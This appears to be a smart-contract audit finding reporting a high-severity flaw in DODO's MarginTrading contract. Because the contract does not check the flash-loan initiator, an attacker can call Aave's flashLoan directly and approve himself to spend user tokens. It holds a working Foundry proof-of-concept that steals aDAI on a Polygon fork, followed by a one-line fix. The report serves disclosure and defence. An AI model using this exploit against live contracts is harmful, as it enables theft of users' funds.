theOwl

high

# Side entrance in contract logic through Aave flashLoan will allow an attacker to steal user tokens

## Summary
Tokens can be stolen from the MarginTrading contract by calling the flashLoan function from Aave Lending pool allowing him an entry point intro the contract logic and by manipulating the parameters the attacker is able to do arbitrary external calls to transfer balances or to approve his own address to spend MarginTrading contract balances.

## Vulnerability Detail
The MarginTrading account is opening and closing leveraged positions using the Aave flashLoan functionality,  the position are opened or closed using the function `executeFlashloan` which represents the _user entry point_ in the contract, this function then initialize the _flashLoan_ in the Aave lending pool, where a callback is happening back into the MarginTrading contract, to be more precise the callback is represented by the function `executeOperation` , this function can only be called by the Aave lending pool.  However anyone can call the lending pool with an arbitrary [receiver]( https://github.com/aave/protocol-v2/blob/ce53c4a8c8620125063168620eba0a8a92854eb8/contracts/protocol/lendingpool/LendingPool.sol#L510 ) and after that manipulate the parameters to either approve the attack to spend the MarginTrading balance, through the [_swapApproveToken](https://github.com/sherlock-audit/2023-05-dodo/blob/930565dd875dac24609441423c7c76c2ae4719a8/dodo-margin-trading-contracts/contracts/marginTrading/MarginTrading.sol#L308) and [_swapApproveTarget](https://github.com/sherlock-audit/2023-05-dodo/blob/930565dd875dac24609441423c7c76c2ae4719a8/dodo-margin-trading-contracts/contracts/marginTrading/MarginTrading.sol#L309) or to make arbitrary calls like for example transfer call through the [_swapAddress](https://github.com/sherlock-audit/2023-05-dodo/blob/930565dd875dac24609441423c7c76c2ae4719a8/dodo-margin-trading-contracts/contracts/marginTrading/MarginTrading.sol#L312) call.

## Impact
An attacker can steal any user tokens either through approve or arbitrary transfer calls. 


### Scenario:
1. Alice creates a margin position through MarginTrading contract 
2. Bob deposit a small amount of tokens so he will be able to settle flashLoan MarginTrading debt that he will initialize.
2. Bob calls Aave lending pool flashloan with a flash loan amount of 1 and with crafted parameters so that the MarginTrading account will approve Bob address to spend the contract balance. 
3. Bob spends TradingMaring contract balance, it can steal all the tokens or just a particular one, in the above unit tests we are using aDaiToken as an example.

POC:

Add the following global variables at the beginning of the contract :
```solidity
    address AAVE_LENDING_POOL_V2 = 0x8dFf5E27EA6b7AC08EbFdf9eB090F32ee9a30fcf;
    address _daiAToken = 0x27F8D03b3a2196956ED754baDc28D73be8830A6e;
    address _dai = 0x8f3Cf7ad23Cd3CaDbD9735AFf958023239c6A063;
    address _daiDebtToken = 0x75c4d1Fb84429023170086f06E682DcbBF537b7d;
    address _weth = 0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619;
    address _wethAToken = 0x28424507fefb6f7f8E9D3860F56504E4e5f5f390;
    address _wethDebtToken = 0xeDe17e9d79fc6f9fF9250D9EEfbdB88Cc18038b5;
    address alice;
    address bob;
    string  MAINNET_RPC_URL = "https://rpc.ankr.com/polygon";
    uint256 BLOCK_NUMBER = 42586890;
```

Add the following interfaces at the beginning of the file:
```solidity
interface IERC20 {
    function balanceOf(address) external returns(uint256);
    function transfer(address, uint256) external;
    function approve(address, uint256) external;
    function allowance(address, address) external returns(uint256);
    function transferFrom(address, address, uint256) external;
}

interface ILendingPool {
    function flashLoan(
    address receiverAddress,
    address[] calldata assets,
    uint256[] calldata amounts,
    uint256[] calldata modes,
    address onBehalfOf,
    bytes calldata params,
    uint16 referralCode
  ) external;

   function deposit(
    address asset,
    uint256 amount,
    address onBehalfOf,
    uint16 referralCode
  ) external;
}
```


Paste the following tests anywhere in the same file: 
```solidity
    function testExecuteFlashAndStealTokensFork() external {

        vm.createSelectFork(MAINNET_RPC_URL, BLOCK_NUMBER);

        alice = vm.addr(0x12345);
        bob = vm.addr(0x66412);
  
        //address _marginTrading = openMarginTradingDAIV2(user1, address(dai), address(weth), 10000 ether, 1 ether);
        createContractsV2Fork(AAVE_LENDING_POOL_V2);
        
        deal(_weth, AAVE_LENDING_POOL_V2, 10000 ether);
        deal(_weth, alice, 10000 ether);
        deal(_dai, AAVE_LENDING_POOL_V2, 1000000 ether);
        deal(_dai, alice, 100000 ether);
        deal(_dai, bob, 100000 ether);
        deal(_weth, bob, 1000000);

        vm.startPrank(alice);
        address _marginTrading = openMarginTradingDAIV2Fork();
        vm.stopPrank();

        console.log("Alice aDaiTokens: ",IERC20(_daiAToken).balanceOf(address(_marginTrading)) / 1e18);

        vm.startPrank(bob);
        bytes memory executeParams;
        //组装执行参数
        {
            address[] memory _withdrawAssets = new address[](0);
            uint256[] memory _withdrawAmounts = new uint256[](0);
            uint256[] memory _rateMode = new uint256[](0);
            address[] memory _debtTokens = new address[](0);
            address[] memory _swapApproveToken = new address[](1);
            _swapApproveToken[0] = _daiAToken;
            address[] memory _tradeAssets = new address[](0);
            //_tradeAssets[0] = _depositToken;
            executeParams = encodeExecuteParams(
                0, // usualy we need 0,1 or 2 but we put 5 to be sure nothing happens with the flash loan
                address(0),
                bob,
                _swapApproveToken,
                new bytes(1),
                _tradeAssets,
                _withdrawAssets,
                _withdrawAmounts,
                _rateMode,
                _debtTokens
            );
        }
        address[] memory _assets = new address[](1);
        _assets[0] = _weth;
        uint256[] memory _amounts = new uint256[](1);
        _amounts[0] = 1;
        uint256[] memory _modes = new uint256[](1);
        _modes[0] = 2; //stable rate -> 1, variable-rate -> 2
        address _mainToken = _weth;
        //IMarginTrading(_marginTrading).executeFlashLoans(_assets, _amounts, _modes, _mainToken, executeParams);
        doDepositIntoLendingPool();
        console.log("Bob aDai balance before flash after deposit: ", IERC20(_daiAToken).balanceOf(bob));
        ILendingPool(AAVE_LENDING_POOL_V2).flashLoan(_marginTrading, _assets, _amounts, _modes, bob, executeParams, 0);
        console.log("Bob allowance over MarginTrading: ", IERC20(_daiAToken).allowance(_marginTrading, bob));
        IERC20(_daiAToken).transferFrom(_marginTrading, bob, 1e12);
        console.log("Bob aDai balance after flash after deposit: ", IERC20(_daiAToken).balanceOf(bob));

        vm.stopPrank();

    }

    function doDepositIntoLendingPool() public {
        IERC20(_dai).approve(AAVE_LENDING_POOL_V2, type(uint256).max);
        ILendingPool(AAVE_LENDING_POOL_V2).deposit(_dai, 1e4, bob, 0);
    }

    function openMarginTradingDAIV2Fork() public returns(address _marginTrading){
        _marginTrading = marginTradingFactory.createMarginTrading(2, new bytes(0), new bytes(0));
        
        address _depositToken = _dai;
        address _borrowToken = _weth;
        uint256 _depositAmt = 100000 ether;
        uint256 _borrowAmt = 0.00001 ether;

        bytes memory swapParams = getSwapCalldata(_borrowToken, _depositToken, _borrowAmt);
        bytes memory executeParams;

        //组装执行参数
        {
            address[] memory _withdrawAssets = new address[](1);
            uint256[] memory _withdrawAmounts = new uint256[](1);
            uint256[] memory _rateMode = new uint256[](1);
            address[] memory _debtTokens = new address[](1);
            address[] memory _swapApproveToken = new address[](1);
            _swapApproveToken[0] = _borrowToken;
            address[] memory _tradeAssets = new address[](1);
            _tradeAssets[0] = _depositToken;
            executeParams = encodeExecuteParams(
                1, // usualy we need 0,1 or 2 but we put 5 to be sure nothing happens with the flash loan
                address(router),
                address(dodoApprove),
                _swapApproveToken,
                swapParams,
                _tradeAssets,
                _withdrawAssets,
                _withdrawAmounts,
                _rateMode,
                _debtTokens
            );
        }

        address[] memory _assets = new address[](1);
        _assets[0] = _borrowToken;
        uint256[] memory _amounts = new uint256[](1);
        _amounts[0] = _borrowAmt;
        uint256[] memory _modes = new uint256[](1);
        _modes[0] = 2; //stable rate -> 1, variable-rate -> 2
        address _mainToken = _weth;
        // 先存款

        IERC20(_dai).approve(address(dodoApprove), type(uint256).max);
        IERC20(_dai).approve(address(dodoApproveProxy), type(uint256).max);

        marginTradingFactory.depositMarginTradingERC20(_marginTrading, _depositToken, _depositAmt, true, 1);
        //再执行
        //@audit-info stable borrow is not available on chain for dai-weth
        IMarginTrading(_marginTrading).executeFlashLoans(_assets, _amounts, _modes, _mainToken, executeParams);
        
       
    }

    function createContractsV2Fork(address _lendingPoolV2) public 
    {
        vm.startPrank(marginCreator);
        dodoApprove = new DODOApprove();
        dodoApproveProxy = new DODOApproveProxy(address(dodoApprove));
        dodoApprove.init(marginCreator, address(dodoApproveProxy));

        address[] memory _aToken = new address[](2);
        _aToken[0] = _daiAToken;
        _aToken[1] = _wethAToken;

        address[] memory _debtToken = new address[](2);
        _debtToken[0] = _daiDebtToken;
        _debtToken[1] = _wethDebtToken;
 

        marginTrading = new MarginTrading();

        marginTradingFactory = new MarginTradingFactory(
            _lendingPoolV2,
            _weth,
            address(dodoApproveProxy),
            address(marginTrading)
        );

        router = new MockRouter(dodoApproveProxy);
        vm.stopPrank();

        deal(_dai, address(router), 200000 ether);
        deal(_weth, address(router), 100 ether);

        address[] memory proxies = new address[](3);
        proxies[0] = address(marginTradingFactory);
        proxies[1] = address(marginTradingFactoryV2);
        proxies[2] = address(router);
        dodoApproveProxy.init(marginCreator, proxies);
    }
```

## Code Snippet

## Tool used

Manual Review

## Recommendation

Add a check inside the function [executeOperation](https://github.com/sherlock-audit/2023-05-dodo/blob/930565dd875dac24609441423c7c76c2ae4719a8/dodo-margin-trading-contracts/contracts/marginTrading/MarginTrading.sol#LL121C31-L121C31) at [L #128](https://github.com/sherlock-audit/2023-05-dodo/blob/930565dd875dac24609441423c7c76c2ae4719a8/dodo-margin-trading-contracts/contracts/marginTrading/MarginTrading.sol#L128) where you will check that the [_initiator](https://github.com/sherlock-audit/2023-05-dodo/blob/930565dd875dac24609441423c7c76c2ae4719a8/dodo-margin-trading-contracts/contracts/marginTrading/MarginTrading.sol#L125) address will equal the address of the MarginTrading contract

```solidity
require( _initiator == address(this), "flashLoan can only be initaied by the same contract");
```
